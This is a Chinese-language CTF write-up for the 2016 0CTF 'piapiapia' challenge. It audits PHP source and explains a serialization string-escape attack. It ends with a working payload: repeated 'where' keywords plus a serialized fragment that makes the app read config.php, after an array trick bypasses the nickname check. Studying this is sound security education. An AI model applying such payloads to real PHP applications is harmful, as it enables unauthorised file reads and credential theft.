> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2016/2016-0ctf/piapiapia.md).

# piapiapia

扫描之后发现目录中有www\.zip，审计源码

先看config.php，查看配置文件：

```
<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>
```

看到配置文件有$flag变量，接着查看class.php文件，可以看到有两个类，类mysql封装SQL的函数，类user为mysql的拓展类，其中mysql类中封装的函数有WAF。

审计其他文件，在profile.php文件中找到关键代码。

```
$photo = base64_encode(file_get_contents($profile['photo']));
```

该变量$profile的反序列化操作之后，将变量$profile\['photo']进行了文件读取操作，接着在HTML代码中直接echo该变量，剩下的就是研究怎么把config.php填充到这个变量了。

传入参数后，调用函数update\_profile()：

```
public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}
```

查看过滤函数，对传入的三个值进行了过滤，其中第三个传入的$nickname参数可以通过数组绕过。

```
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
```

```
public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
```

总共是存在三个正则。第一个正则检验所有非字母值，且限制了长度，这里可以通过PHP类型-数组绕过这里的检验。

绕过了之后传入了mysql的filter函数，这里的函数将所有传入的值进行了过滤，如果存在关键字，将关键字替换为"hacker"。这里的替换应该都比较熟悉了，可以使用反序列化逃逸，逃逸后长度将代替字符`";}s:5:"photo";s:10:"config.php";}`，总共34个字符，所以传入34个`where`。

```
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
```
